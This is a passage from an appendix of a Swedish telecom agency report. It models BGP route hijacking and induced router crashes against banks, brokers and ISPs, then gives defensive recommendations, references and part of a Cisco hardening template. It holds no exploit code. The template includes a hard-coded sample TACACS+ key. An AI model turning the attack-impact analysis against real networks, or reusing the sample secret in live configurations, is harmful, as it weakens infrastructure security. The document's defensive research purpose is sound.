certain proportion of users.) This case also only includes attacks affecting more
than zero users.
National Post and Telecom Agency
121
Contents - APPENDIX 3
Figure 29. The impact of advertising existing prefixes on Internet broker 1. Top left: histogram
showing the number of AS affected. (Each column indicates the number of attack
points that affect a certain number of AS. The number of AS is indicated on the x
axis.) Top right: histogram showing the proportion of users (based on the market
shares of ISPs) affected. (Each column indicates the number of attack points that
affect a certain proportion of users.) This case only includes attacks affecting more
than zero users. Bottom left: histogram showing the proportion of users (based on
the market shares of ISPs) over and above those affected within the attacking AS.
(Each column indicates the number of attack points that affect a certain proportion
of users.) This case also only includes attacks affecting more than zero users.
122
National Post and Telecom Agency
- APPENDIX 3
Figure 30. The impact of advertising existing prefixes on Internet broker 2. Top left: histogram
showing the number of AS affected. (Each column indicates the number of attack
points that affect a certain number of AS. The number of AS is indicated on the x
axis.) Top right: histogram showing the proportion of users (based on the market
shares of ISPs) affected. (Each column indicates the number of attack points that
affect a certain proportion of users.) This case only includes attacks affecting more
than zero users. Bottom left: histogram showing the proportion of users (based on
the market shares of ISPs) over and above those affected within the attacking AS.
(Each column indicates the number of attack points that affect a certain proportion
of users.) This case also only includes attacks affecting more than zero users.
5.2
Induced router crashes
National Post and Telecom Agency
123
Contents - APPENDIX 3
Simpler forms of disruptive attack directed at individual routers were also simulated. Here,
different forms of attack were used as a starting point, sharing the fact that they resulted in the
router crashing and restarting, i.e. the local consequence is a type of router crash according to
the categorisation stated in Section 2.4.2. For example, this could include exploiting previously
known or new buffer overflow vulnerabilities against certain types of router OS. One tangible
example that was tested in Section 2.1.2.4 was related to MPLS functions.
However, when it comes to attacks on individual routers, it is important to be very careful with
the conclusions drawn from the simulations, as these depend on the router level topology. As
mentioned in Sections 4.1.2 and 4.7.2, it is difficult to achieve a comprehensive router level
topology, which means that the model does not reflect all of the redundancy that actually
exists, which means that the simulations tend to exaggerate the consequences. It is
consequently best to view these results as upper limits for consequences and candidate
scenarios for further study in the actual network.
Another practical problem when simulating attacks on different routers in the network is the
large number of potential attack points. A large number of attack points, the possibility of
attacking several points at the same time, and several targets lead to an explosion of
combinations, resulting in a very large number of potential cases for study. The large number
of cases combined with the more detailed model, which is thus more complex and timeconsuming to simulate, renders it impossible to exhaustively simulate all possible cases within
a reasonable period of time. We must consequently make a more careful selection of scenarios
to simulate. We are mainly interested in studying consequences affecting ISPs with a large
number of users; that is, cases that potentially affect many users. For this reason, we can limit
ourselves to studying cases that may potentially affect the ISPs with significant market shares
according to Section 4.3. Studying the routes used in the model of AS belonging to these ISPs
enables us to see which AS are present in the AS paths in these routes, and in the long-term
also which possible border routers these correspond to. Thus, we can make a first small
selection of routers by studying which traffic paths are used in the model. Obviously, this does
not exclude the existence of redundant routes, which can be utilised by the routing system
when the primary route goes down, which is the actual intention of dynamic routing. However,
it can serve as initial guidance when illustrating potential consequences. A persistent and
knowledgeable attacker could then theoretically also start to attack backup routes through the
network (depending on where the vulnerabilities can be found). However, this is a first study
where only one router is attacked at a time.
The attack simulated is an attacker identifying a vulnerable router and inducing repeated router
crashes. In the lab experiments (Section 2.1.2.4), it was observed that the time to restart the
router following a crash amounted to approximately 2.5 minutes. This is also assumed in the
model. Approximately 3 minutes after the router was restarted, a new crash was induced and
this was repeated over and over again. In order to measure the impact on the routing system, it
was verified in the system when the target route was removed from or added to the forwarding
tables again in the routers in the AS with a significant proportion of users. Table 3 illustrates
the results of these simulations.
124
National Post and Telecom Agency
- APPENDIX 3
Table 3. Results of disruptive attacks against routers (without route flap dampening)
Target
Number of
attack points
(routers)
tested
Number of
points resulting
in user impact
Largest
proportion of
users in an
affected AS
Longest duration
(single
occasion)of
significant
proportion of
users being
affected
Commercial bank 1 12
3
10%
224 s.
Commercial bank 2 10
5
20%
203 s.
Internet broker 1
27
6
46%
152 s.
Internet broker 2
13
6
46%
152 s.
Media company
12
6
46%
152 s.
Public authority
12
6
10%
152 s.
The results indicate that in most cases the system was unaffected by attacks against individual
routers. The duration of the disruptions observed (period of time when the target route was
missing) more or less corresponds to the duration when the router was being restarted
(approximately 150 seconds in the model) and in some cases there was an additional delay for
converging the system. In some individual cases, it was suggested that a relatively large
number of users could potentially be affected, but there is a risk of this being a large
overestimation if crucial redundancy is lacking in the model.
Equivalent scenarios were also simulated with route flap dampening configured, according to
RIPE-229, in all AS. The purpose of this was to compare the effects and to see whether flap
dampening could be used by an attacker to compound the consequences. In these cases, the
simulated cases resulted in instability and the user impact in most cases led to routes being
dampened out and disappearing for long periods of time, since the attack was repeated on
several occasions. However, this is also strongly dependent on topology, so it is difficult to
draw any definite conclusions without better input data.
5.3
Discussion
The simulations of scenarios based on the introduction of false routing information to the
system suggest some specific scenarios where certain improvements to the protection could
result in a considerably lower risk of a large proportion of users being affected by an attack or
a fault. It would therefore be interesting to discuss the specific scenarios with the relevant ISPs
in order to verify the correctness of the policy information registered in the Routing Registry
for these specific cases and the extent to which it is feasible in practice to improve the
protection in the specific points affected. Furthermore, the results demonstrate the importance
to security of certain key AS in the Swedish part of the system.
As regards the introduction of false routing information, the results suggest that in most cases,
i.e. for the attacks initiated from most AS, the proportion of Swedish users affected is limited
to less than 10%. However, it should be borne in mind that an assumption is made in the model
that the results should attempt to reflect a lower limit in terms of the extent of the
consequences, so the lack of certain information may result in greater consequences. However,
in some cases an impact on a large proportion is suggested (up to 60-70% of users) and these
cases are directly linked to the impact on certain important AS. This has a strong link to market
concentration, where a few stakeholders have a large number of customers – both in terms of
individual users and connectivity to other organisations – and have a relatively strong influence
over the local exchange of traffic. Consequently, security measures in these networks have a
considerable impact on the entire system, which in itself can hardly be regarded as surprising
as the largest stakeholders in the market are involved.
National Post and Telecom Agency
125
Contents - APPENDIX 3
Comparing the risks associated with different attacks is not a simple task, as the risk consists of
a combination of the likelihood of a successful attack and the extent of the attack's
consequences. However, comparisons within the same type but which are carried out from
different directions and against different targets are somewhat easier than comparing different
types of attack. If we first consider attacks using the introduction of false routing information
in the form of prefix deaggregation, the results suggest very small differences in the proportion
of users affected when different organisations are subject to an attack. What does play a major
role is the AS from which the information can be propagated, as the influence of different AS,
and thus the filtering policy, vary. Attack scenarios coming from 'end users', which do not
function as suppliers to others, suggest little potential to affect the system. Even in the case of
deaggregations from the AS of different ISPs, only around half have an effect, in the sense that
they can influence other AS as well; and the proportion of users that may be affected in other
cases varies quite extensively. In individual cases, if an attacker could manipulate an
organisation's ISP network, there is obviously great potential for disrupting traffic to the
organisation, which could then affect nearly all Swedish users. However, the most interesting
cases for further study are perhaps those where the model indicates that certain AS with
relatively small market shares could affect other AS with a larger proportion of users.
There is naturally a certain level of uncertainty as regards the test results. Connectivity and
routing policy are the main factors affecting the results in terms of the dissemination of false
information in the system. As mentioned previously, the methods used to derive connections
between different AS tend to miss certain connections that are not visible from the point of
data collection. Figure 18, for example, illustrates a number of stub AS with only one
connection, despite the fact that at least two should be expected. (It is likely that the second
connection is a backup that is only visible if the primary connection has been broken.)
However, as this almost exclusively involves stub AS that also do not contain the targets for
the attacks, this is not expected to influence the results to any appreciable extent. As regards
policy, the assumption in the model is that all published policy information has been used to
implement defensive filters. This is not necessarily so, as in certain cases this can be difficult in
practice. Consequently, it is more likely that the actual consequences are greater, rather than
smaller, than the consequences observed in the model.
It is difficult to draw any definite conclusions from the simulations of disruptive attacks
causing router crashes and restarting, as many factors suggest that essential redundancy in the
router level topology is missing in the model. In other words, this means we must draw the
conclusion that better information is needed about the detailed network structure so that the
model better encompasses the considerable redundancy built into networks. The same also
applies when making a comparison between the risks associated with disruptions based on the
manipulation of routing information and the risks associated with disruptive attacks against
individual routers.
126
National Post and Telecom Agency
- APPENDIX 3
6 Conclusions and recommendations
This study comprised two main parts: firstly experiments with attacks on known vulnerabilities
in lab networks, and secondly simulations of the consequences of attacks on a larger scale to
assess how much of the Swedish network and how many users could potentially be affected.
As the experiments were related to attacks that were previously known about, new software
versions include measures against all of these vulnerabilities, which were due to
implementation faults in the software. For example, this applies to the different forms of
disruptive attack tested in the experiments and the IPv6 vulnerability that was exploited to
show that it was also possible to write functioning intrusion codes against routers [18].
However, the experiments underlined the importance of upgrading router software as well as
that on personal computers, as a greater awareness of the security holes in the infrastructure
will probably lead to further vulnerabilities being discovered. In reality, most operators are
well aware of this so it is highly unlikely that a software version vulnerable to the attacks tested
in the experiments will continue to be used. Vulnerabilities that are instead related to
weaknesses in the design of certain protocols, such as for example the TCP vulnerabilities that
were discussed much earlier, can be difficult to remedy. The TCP-related attacks nevertheless
proved to be more difficult to carry out in practice than is sometimes intimated and, if modern
software versions are used, improvements in the implementation of and certain modifications
to the protocol have also made it very difficult to succeed with this type of attack. This
consequently also applies without the introduction of MD5-based protection for TCP
connections that many stakeholders started to use in the wake of the attention surrounding TCP
vulnerabilities. MD5-based protection provides further security, for example through
verification of the other party, but the experiments also indicate that the cryptographic
calculations may result in additional CPU loading that could be exploited by an attacker for a
Denial-of-Service attack if appropriate protection is not used to counter this. Some simpler
forms of Denial-of-Service attack were also tested. It can be deduced from these experiments
that the risk of relatively simple Denial-of-Service attacks appears to be greater than from the
TCP attacks that generated a great deal of publicity. However, the Denial-of-Service attacks
are a known phenomenon and there are a number of protective measures available. One variant
that has not been studied very much up until now in combination with router security is a
reflection attack. In order to also have good protection against this, it is recommended that one
ensures that the other party in the event of peering connections also maintains a good level of
security. Many forms of Denial-of-Service attack can also be avoided if the ability to falsify
the originator's IP address is blocked. An objective of broader filtering of traffic with falsified
addresses before it is propagated further towards a transit network would consequently also
benefit security in the routing system.
There are a number of 'Best Common Practices' in order to protect oneself not only against
known but also potential new threats. Some references for sources of these are provided in
Section 3. Configuration templates developed by the Team Cymru are often mentioned as a
good starting point [41][42]. These have a bearing on the experiments conducted and we
established that the combination of updated software and configuration templates encompass
the cases studied in the experiments and should constitute a good starting point for router
configuration. However, the templates cannot be regarded as a finished solution and must be
adapted and expanded according to local conditions. More advanced measures, such as using
non-routed address space for the infrastructure or separating control and management levels
physically or with tunnels, are not affected either.
The simulations to extrapolate the consequences to a larger national plan focused particularly
on attacks based on the introduction of false routing information into the system, as it proved
difficult to collect sufficiently detailed information about network topology in order to study
simple disruptive attacks in an effective way. The model focused on Swedish interests and
users and therefore principally represented AS that appear to have some form of Swedish
connection. When building the model at a level that was suitable for studying false routing
information, the most important input data included the exchange of traffic exchange
connections between AS, and the routing policies used to direct the exchange and achieve
National Post and Telecom Agency
127
Contents - APPENDIX 3
defensive filtering. The only public source available for routing policies is the Internet Routing
Registry. However, it is well known that the data in these databases has certain shortcomings
owing to inadequate updates, which have to be performed manually. Consequently, the
simulation results are dependent on the quality of input data for the model. Signs of such
shortcomings were also apparent when validating the model but, following certain measures
that were undertaken to attempt to deduce some further information to improve the model, a
result was attained that appears to have relatively good correspondence to reality.
The type of attack using false routing information was route hijacking either by deaggregation
or by advertising the same prefixes. Hijacking a route could possibly be used for a disruptive
attack to prevent users from reaching certain services or information, or to redirect traffic to
false websites without the users' knowledge in order to gather sensitive information (as with
phishing or pharming). A large number of scenarios were simulated where several variables
were changed. The target of the attack varied between organisations that represented a
selection of sectors. Two commercial banks, two Internet brokers, a media company (news)
and a public authority were chosen for this purpose. The starting point for the attack varied
between all AS that were found in the model, i.e. AS belonging to Swedish ISPs, AS belonging
to transit customers (that are not ISPs themselves) and some foreign ISPs.
The broad outlines that emerged from the 'deaggregation attack' scenarios were that the
consequences, in terms of the proportion of Swedish users that are potentially affected, do not
primarily depend on which organisation is the target of the attack; rather it largely depends on
where the attack is coming from, i.e. where the information is being propagated from. This is a
consequence of the 'influence' of different AS, and thus the filtering policy, varying. The
consequences vary from 'no effect beyond the AS itself' to anything between 60% and 70% of
users being affected. Here, market concentration plays an important role, insofar as in most
cases only a limited proportion of users risk being affected (typically under 10%) and only in a
few cases is a larger proportion involved. That is, certain AS (especially the largest ISPs) play
a key role, both in terms of having the most users and having a connection to many other AS.
Consequently, only scenarios affecting these central stakeholders have a really big impact. On
the other hand, if attacks are initiated from typical customer AS, the results suggest that there
would be a very small potential for affecting the system. This appears to be in line with the
current practice of using defensive filters in relation to customers. Conservative assumptions
were made when constructing the model as information was missing. For this reason, the
estimated consequences were to be provided in the form of a lower limit rather than be
overestimated. It is consequently possible that supplements to the information in the model
may result in indicators suggesting greater consequences.
The simulations indicate some specific cases that would be interesting for further study; for
example, when a large proportion of users are at risk of being affected or when stakeholders
with a relatively small user share are able to affect stakeholders with larger market shares.
These scenarios should be discussed with ISPs to see if the information in the Routing
Registry corresponds and if it in that case is practically feasible to modify and improve
protection. Several initiatives are underway at present to create fundamentally better protection
by means of various forms of cryptographic protection of information. However, for practical
and administrative reasons this is complicated to carry out and risks further drains on time.
Meanwhile, some more pragmatic proposals have been made to improve the protection of
information in the routing system. Some of these proposals are based on methods to detect
incorrect information in the system, and it could be interesting to study some of these in more
detail and attempt to evaluate the improvements that they could offer.13
13
The simulation model designed here could possibly also be used for this purpose.
128
National Post and Telecom Agency
- APPENDIX 3
7
References
[1] Rekhter and Li, 1995. RFC 1771 – 'A Border Gateway Protocol 4 (BGP-4)'
[2] Stewart, 1998. 'BGP4 Inter-Domain Routing in the Internet', Addison-Wessley
Professional
[3] Van Beijnum, 2002. 'BGP', O'Reilly Media, Inc.
[4] Bono, 1997. '7007 Explanation and Apology',
http://www.merit.edu/mail.archives/nanog/1997-04/msg00444.html
[5] Butler et al., 2005. 'A Survey of BGP Security', Draft report,
www.patrickmcdaniel.org/pubs/td-5ugj33.pdf
[6] Convery et al., 2003. 'An Attack Tree for the Border Gateway Protocol', Internet Draft:
draft-convery-bgpattack-01, http://bgp.potaroo.net/ietf/idref/draft-convery-bgpattack/
[7] Greene, 2004. 'BGPv4 Security Essentials', version 0.5, Cisco Press
[8] Nordström, Dovrolis, 2004. 'Beware of BGP Attacks', ACM SIGCOMM Computer
Communication Review, Vol. 34, No. 2, April 2004
[9] Kent, Lynn, Seo, 2000. 'Secure Border Gateway Protocol (Secure-BGP)', IEEE Journal
on Selected Areas in Communications Vol. 18, No. 4, April 2000, pp. 582-592,
http://www.ir.bbn.com/sbgp/IEEE-JSAC-April2000/IEEE-JSAC-S-BGP.html
[10] White, 2003. 'Securing BGP Through Secure Origin BGP', The Internet Protocol Journal,
Vol. 6, No. 3, Sept. 2003
[11] Hu, Perrig, Sirbu. 'SPV: Secure Path Vector Routing for Securing BGP', SIGCOMM'04,
Sept. 2004
[12] Siganos, Faloutsos, 2006. 'A Blueprint for Improving the Robustness of Internet Routing',
http://www.cs.ucr.edu/~siganos/papers/security06.pdf
[13] Subramanian, Roth, Stoica, Shenker, Katz. 'Listen and Whisper - Security mechanisms
for BGP', Symposium on Networked Systems Design and Implementation (NSDI'04),
San Francisco, CA, March 2004. USENIX/ACM.
[14] Deleskie, Popescu, Scholl, Underwood, 2005. 'BGP Filtering – Myths, Legends and
Reality: Peer Filtering in the Modern Backbone', NANOG 35, http://www.nanog.org/mtg0510/pdf/deleskie.pdf
[15] Carlander, 2005. 'Overload attacks on border routers, Dissertation, The Royal Institute of
Technology, Department of Numerical Analysis and Computer Science,
http://www.nada.kth.se/utbildning/grukth/exjobb/rapportlistor/2005/rapporter05/carlander
_mikael_05149.pdf
[16] Convery and Franz, 2003. 'BGP Vulnerability Testing: Separating Fact from FUD v. 1.1',
NANOG presentation
[17] Thomas, 2003. Presentation at NANOG 29 from the panel discussion 'Simple Router
Security, What Every ISP Router Engineer Should Know and Practice'
National Post and Telecom Agency
129
Contents - APPENDIX 3
[18] Cheung, 2005. 'Owning IOS at Black Hat 2005', Tom's Networking,
http://www.tomsnetworking.com/2005/07/28/owning_ios_at_black_hat_2005/
[19] Cisco, 2001. 'Dealing with mallocfail and High CPU Utilization Resulting From
the 'Code Red' Worm', http://www.cisco.com/warp/public/63/ts_codred_worm.shtml
[20] Gregory et al., 2003. 'Analysis of the 'SQL Slammer' Worm and its effect on Indiana
University and Related Institutions'
[21] Cisco, 2003. 'Cisco Security Advisory: Cisco IOS Interface Blocked by IPv4 Packets',
http://www.cisco.com/warp/public/707/cisco-sa-20030717-blocked.shtml
[22] Cisco. 'Cisco Security Advisory: Crafted Packet Causes Reload on Cisco Routers',
http://www.cisco.com/en/US/products/products_security_advisory09186a00803be77c.sht
ml
[23] Chang, Govindan and Heidemann, 2002. 'An Empirical Study of Router Response to
Large Routing Table Load', Proceedings of the 2nd ACM SIGCOMM Workshop on
Internet measurement
[24] Secunia. 'Cisco IOS OSPF Neighbour Buffer Overflow Vulnerability',
http://secunia.com/advisories/8130/
[25] SecurityFocus, 2005. 'Multiple Vendor TCP/IP Implementation ICMP Remote Denial Of
Service Vulnerabilities', http://www.securityfocus.com/bid/13124
[26] Watson, 2003. 'Slipping in the Window: TCP Reset Attacks', Presented at
CanSecWest/core04 (2004), http://cansecwest.com/csw04/csw04-Watson.doc
[27] SecurityFocus, 2005. 'Cisco IOS IPv6 Processing Arbitrary Code Execution
Vulnerability', http://www.securityfocus.com/bid/14414
[28] Proctor, 2006. 'On The BlackPage: Enterprise Networks vs. Cisco Vulnerabilities',
http://www.blackhat.com/html/bh-blackpage/bh-blackpage-04252006.html
[29] Cisco, 2005. 'Crafted ICMP Messages Can Cause Denial of Service',
http://www.cisco.com/en/US/products/products_security_advisory09186a0080436587.sht
ml
[30] Validimirov, Gavrilenko, Vizulis, Mikhailovsky. 'Hacking Exposed: Cisco Networks',
McGraw-Hill, Emeryville, CA, 2005
[31] Cisco, 2004. 'Cisco Security Advisory: TCP Vulnerabilities in Multiple IOS-Based Cisco
Products'
http://www.cisco.com/en/US/products/products_security_advisory09186a008021bc62.sht
ml
[32] Stewart, Dalal, 2006. 'Improving TCP's Robustness to Blind In-Window Attacks',
http://www.ietf.org/internet-drafts/draft-ietf-tcpm-tcpsecure-04.txt
[33] Greene, Smith, 2002. 'Cisco ISP Essentials', Cisco Press
[34] Halabi, 2000. 'Internet Routing Architectures', Cisco Press core series, Indianapolis
[35] Cisco, 2006. 'SAFE: Best Practices for Securing Routing Protocols',
http://www.cisco.com/en/US/netsol/ns340/ns394/ns171/ns128/networking_solutions_whi
te_paper09186a008020b51d.shtml
130
National Post and Telecom Agency
- APPENDIX 3
[36] Kuhn, Sriram, Montgomery, 2006. 'Border Gateway Protocol Security (DRAFT)', Draft
Special Publication 800-54, NIST, http://csrc.nist.gov/publications/drafts/800-54/DraftSP800-54.pdf
[37] NANOG, 2006. 'Index of talks', http://www.nanog.org/subjects.html#S
[38] RIPE, 2006. 'RIPE Meetings', http://www.ripe.net/ripe/meetings/index.html
[39] APRICOT, 2006. 'APRICOT 2006', http://www.apricot2006.net/
[40] Bgp4.as, 2006. 'Advanced Internet Routing Resources: BGP Security, ISP Core Security
Resources', http://www.bgp4.as/security
[41] Team Cymru, 2006. 'Secure IOS Template Version 4.2 05 JAN 2006',
http://www.cymru.com/Documents/secure-ios-template.html
[42] Team Cymru, 2006. 'Secure BGP Template Version 4.2 05 JAN 2006',
http://www.cymru.com/Documents/secure-bgp-template.html
[43] SSFNet, 2005. 'SSFNet Project Homepage', http://www.ssfnet.org/
[44] Griffin and Premore, 2001. 'An Experimental Analysis of BGP Convergence Time',
Proceedings of the 9th International Conference on Network Protocols (ICNP 2001)
[45] Mao, Govindan, Varghese and Katz, 2002. 'Route flap dampening exacerbates Internet
routing convergence', ACM SIGCOMM Computer Communication Review, Proceedings
of the 2002 conference on applications, technologies, architectures, and protocols for
computer communications SIGCOMM'02, Vol. 32, Issue 4
[46] Nicol, Smith and Zhao, 2004. 'Evaluation of Efficient Security for BGP Route
Announcements using Parallel Simulation', Simulation : Practice and Theory, 12 (3-4):
187-216. July 2004
[47] Cowie, Nicol and Ogielski, 1999. 'Modeling the Global Internet', IEEE Computing in
Science and Engineering. 1(1): 42-50
[48] University of Oregon, 2005. 'Route Views Projects, Online data and reports',
http://www.routeviews.org
[49] RIPE, 2005. 'Routing information service (RIS)', http://www.ris.ripe.net
[50] Gao, 2001. 'On inferring autonomous system relationships in the internet', IEEE/ACM
Transactions on Networking (TON), Volume 9, Issue 6, Pages: 733 - 745
[51] CAIDA, 2006. 'skitter', http://www.caida.org/tools/measurement/skitter/
[52] Spring, Mahajan and Wetherall, 2002. 'Measuring ISP Topologies with Rocketfuel',
Proceedings of SIGCOMM
[53] Huston, 2006. 'CIDR Report', http://www.cidr-report.org/as4637/
[54] RIPE, 2006. 'Autonomous System (AS) Number Assignment Policies and Procedures',
ripe-389, http://www.ripe.net/ripe/docs/asn-assignment.html
National Post and Telecom Agency
131
Contents - APPENDIX 3
8
Appendix A: Configuration template for a Cisco
router
1) ! Secure router configuration template.
2) ! Version 3.1
3) ! @(#)Secure IOS template v3.1 17 NOV 2003 Rob Thomas
robt@cymru.com
4) ! @(#)http://www.cymru.com/Documents/secure-iostemplate.html
5) !
6) ! This configuration assumes the following topology:
7) !
8) ! Upstream/Internet
9) ! 5.5.5.1/24
10) !
|
11) ! 5.5.5.254/24 (Ethernet 2/0)
12) ! THIS ROUTER
13) ! 6.6.6.254/24 (Ethernet 2/1)
14) !
|
15) ! 6.6.6.1/24
16) ! Firewall
17) ! 7.7.7.1/24
18) !
|
19) ! 7.7.7.0/24
20) ! Intranet
21) !
22) ! In this case, 7.7.7.5 is the loghost, FTP server, etc.
23) ! for the router. It could also be the firewall if
24) ! circumstances dictate.
25) !
26) service nagle
27) service tcp-keepalives-in
28) service tcp-keepalives-out
29) ! Show copious timestamps in our logs
30) service timestamps debug datetime msec show-timezone
localtime
31) service timestamps log datetime msec show-timezone localtime
32) service password-encryption
33) no service dhcp
34) !
35) hostname secure-router01
36) !
37) boot system flash slot0:rsp-pv-mz.121-5a.bin
38) logging buffered 16384 debugging
39) no logging console
40) enable secret <PASSWORD>
41) no enable password
42) !
43) ! Use TACACS+ for AAA. Ensure that the local account is
44) ! case-sensitive, thus making brute-force attacks less
45) ! effective.
46) aaa new-model
47) aaa authentication login default group tacacs+ local-case
48) aaa authentication enable default group tacacs+ enable
49) aaa authorization commands 15 default group tacacs+ local
50) aaa accounting exec default stop-only group tacacs+
51) aaa accounting commands 15 default stop-only group tacacs+
52) aaa accounting network default stop-only group tacacs+
53) tacacs-server host 7.7.7.5
54) tacacs-server key cheezit
55) !
132
National Post and Telecom Agency
- APPENDIX 3
56) ! In the event that TACACS+ fails, use case-sensitve local
57) ! authentication instead. Keeps the hackers guessing, and
58) ! the router more secure.
59) username <USERNAME> secret <PASSWORD>
60) !
61) ! Don't run the HTTP server.
62) no ip http server
63) no ip http server-secure
64) !
65) ! Allow us to use the low subnet and go classless
66) ip subnet-zero
67) ip classless
68) !
69) ! Disable noxious services
70) no service pad
71) no ip source-route
72) no ip finger
73) no ip bootp server
74) no ip domain-lookup
75) !
76) ! Catch crash dumps; very important with a "security
router."
77) ip ftp username rooter
78) ip ftp password <PASSWORD>
79) ! Give our core dump files a unique name.
80) exception core-file secure-router01-core
81) exception protocol ftp
82) exception dump 7.7.7.5
83) ! Fire up CEF for both performance and security.
84) ip cef
85) ! Set the timezone properly. It is best to standardize on
one
86) ! timezone for all routers, thus making problem tracking
easier.
87) clock timezone GMT 0
88) ! Synchronize our clocks with a local (trusted and
authenticated)
89) ! NTP server. The SECRETKEY must be the same on both the
router
90) ! and the NTP server.
91) ntp authentication-key 6767 md5 <SECRETKEY>
92) ntp authenticate
93) ntp update-calendar
94) ntp server 7.7.7.5
95) !
96) ! Configure the loopback0 interface as the source of our log
97) ! messages. This is often used for routing protocols as
well.
98) ! Select an IP address that uniquely identifies this router.
99) ! One trick is to allocate a netblock for use as the router
100) ! loopback netblock.
101) int loopback0
102) ip address 10.10.10.10 255.255.255.255
103) no ip redirects
104) no ip unreachables
105) no ip proxy-arp
106) !
107) ! Configure null0 as a place to send naughty packets. This
108) ! becomes the "roach motel" for packets -- they can route
in,
109) ! but they can't route out.
110) interface null0
111) no ip unreachables
112) !
113) interface Ethernet2/0
National Post and Telecom Agency
133
Contents - APPENDIX 3
114) description Unprotected interface, facing towards Internet
115) ip address 5.5.5.254 255.255.255.0
116) ! Do we run CEF verify? Yes if the data path is symmetric.
No
117) ! if the data path is asymmetric.
118) ip verify unicast reverse-path
119) ! Apply our template ACL
120) ip access-group 2010 in
121) ! Allow UDP to occupy no more than 2 Mb/s of the pipe.
122) rate-limit input access-group 150 2010000 250000 250000
conform-action transmit exceed-action drop
123) ! Allow ICMP to occupy no more than 500 Kb/s of the pipe.
124) rate-limit input access-group 160 500000 62500 62500
conform-action transmit exceed-action drop
125) ! Allow multicast to occupy no more than 5 Mb/s of the
pipe.
126) rate-limit input access-group 170 5000000 375000 375000
conform-action transmit exceed-action drop
127) ! Don't send redirects.
128) no ip redirects
129) ! Don't send unreachables.
130) no ip unreachables
131) ! Don't propogate smurf attacks.
132) no ip directed-broadcast
133) ! Don't pretend to be something you're not. :-)
134) no ip proxy-arp
135) ! Do not reveal our netmask
136) no ip mask-reply
137) ! Log all naughty business.
138) ip accounting access-violations
139) ! If you allow multicast in your network or participate in
the
140) ! MBONE, the following multicast filtering steps will help
to
141) ! ensure a secure multicast environment. These must be
applied
142) ! per interface.
143) ip multicast boundary 30
144) !
145) ! Keep flow data for analysis. If possible, export it to a
146) ! cflowd server.
147) ip route-cache flow
148) !
149) interface Ethernet2/1
150) description Protected interface, facing towards DMZ
151) ip address 6.6.6.254 255.255.255.0
152) ! Do we run CEF verify? Yes if the data path is symmetric.
No
153) ! if the data path is asymmetric.
154) ip verify unicast reverse-path
155) ! If we are using RPF, comment out the ACL below.
156) ip access-group 115 in
157) no ip redirects
158) no ip unreachables
159) no ip directed-broadcast
160) no ip proxy-arp
161) ip accounting access-violations
162) ip multicast boundary 30
163) no ip mask-reply
164) ip route-cache flow
165) !
166) ! Default route to the Internet (could be a routing
167) ! protocol instead)
168) ip route 0.0.0.0 0.0.0.0 5.5.5.1
169) ! Route to network on the other side of the firewall
134
National Post and Telecom Agency
- APPENDIX 3
170) ip route 7.7.7.0 255.255.255.0 6.6.6.1
171) ! Black hole routes. Do not combine this with TCP
Intercept;
172) ! in fact, don't use TCP Intercept at all.
173) ip route 1.0.0.0 255.0.0.0 null0
174) ...
175) BOGON filters removed from this Appendix!
176) See latest information on [41]
177) ...
178) ...
179) ...
180) ...
181) ...
182) ...
183) ...
184) ...
185) ...
186) ...
187) ...
188) ...
189) ...
190) ...
191) ...
192) ...
193) ...
194) ...
195) ...
196) ...
197) ...
198) ...
199) ...
200) ...
201) ...
202) ...
203) ...
204) ...
205) ...
206) ...
207) ...
208) ...
209) ...
210) ...
211) ...
212) ...
213) ...
214) ...
215) ...
216) ...
217) ...
218) ...
219) ...
220) ...
221) ...
222) ...
223) ...
224) ...
225) ...
226) ...
227) ...
228) ...
229) ...
230) ...
231) ...
232) ...
233) ...
National Post and Telecom Agency
135
Contents - APPENDIX 3
234) ...
235) ...
236) ...
237) ...
238) ...
239) ...
240) ...
241) !
242) ! Export our NetFlow data to our NetFlow server, 7.7.7.5.
NetFlow
243) ! provides some statistics that can be of use when tracing
the true
244) ! source of a spoofed attack.
245) ip flow-export source loopback0
246) ip flow-export destination 7.7.7.5 2055
247) ip flow-export version 5 origin-as
248) !
249) ! Log anything interesting to the loghost. Capture all of
250) ! the logging output with FACILITY LOCAL5.
251) logging trap debugging
252) logging facility local5
253) logging source-interface loopback0
254) logging 7.7.7.5
255) !
256) ! With the ACLs, it is important to log the naughty folks.
257) ! Thus, the implicit drop all ACL is replaced (augmented,
258) ! actually) with an explicit drop all that logs the
attempt.
259) ! You may wish to keep a second list (e.g. 2011) that does
not
260) ! log. During an attack, the additional logging can impact
the
261) ! performance of the router. Simply copy and paste accesslist 2010,
262) ! remove the log-input keyword, and name it access-list
2011. Then
263) ! when an attack rages, you can replace access-list 2010
on the
264) ! Internet-facing interface with access-list 2011.
265) !
266) ! Block SNMP access to all but the loghost
267) access-list 20 remark SNMP ACL
268) access-list 20 permit 7.7.7.5
269) access-list 20 deny any log
270) !
271) ! Multicast - filter out obviously naughty or needless
traffic
272) access-list 30 remark Multicast filtering ACL
273) ! Link local
274) access-list 30 deny 224.0.0.0 0.0.0.255 log
275) ! Locally scoped
276) access-list 30 deny 239.0.0.0 0.255.255.255 log
277) ! sgi-dogfight
278) access-list 30 deny host 224.0.1.2 log
279) ! rwhod
280) access-list 30 deny host 224.0.1.3 log
281) ! ms-srvloc
282) access-list 30 deny host 224.0.1.22 log
283) ! ms-ds
284) access-list 30 deny host 224.0.1.24 log
285) ! ms-servloc-da
286) access-list 30 deny host 224.0.1.35 log
287) ! hp-device-disc
288) access-list 30 deny host 224.0.1.60 log
289) ! Permit all other multicast traffic
136
National Post and Telecom Agency
- APPENDIX 3
290) access-list 30 permit 224.0.0.0 15.255.255.255 log
291) !
292) ! Block access to all but the loghost and the firewall,
and log any
293) ! denied access attempts. This also serves to create an
audit trail
294) ! of all access to the router. Extended ACLs are used to
log some
295) ! additional data.
296) access-list 100 remark VTY Access ACL
297) access-list 100 permit tcp host 7.7.7.5 host 0.0.0.0 range
22 23 log-input
298) access-list 100 permit tcp host 6.6.6.1 host 0.0.0.0 range
22 23 log-input
299) access-list 100 deny ip any any log-input
300) !
301) ! Leave one VTY safe for access, just in case. The host
302) ! 7.7.7.8 is a secure host in the NOC. If all the VTYs are
303) ! occupied, this leaves one VTY available.
304) access-list 105 remark VTY Access ACL
305) access-list 105 permit tcp host 7.7.7.8 host 0.0.0.0 range
22 23 log-input
306) access-list 105 deny ip any any log-input
307) !
308) ! Configure an ACL that prevents spoofing from within our
network.
309) ! This ACL assumes that we need to access the Internet
only from the
310) ! 7.7.7.0/24 network. If you have additional networks
behind
311) ! 7.7.7.0/24, then add them into this ACL.
312) access-list 115 remark Anti-spoofing ACL
313) ! First, allow our intranet to access the Internet.
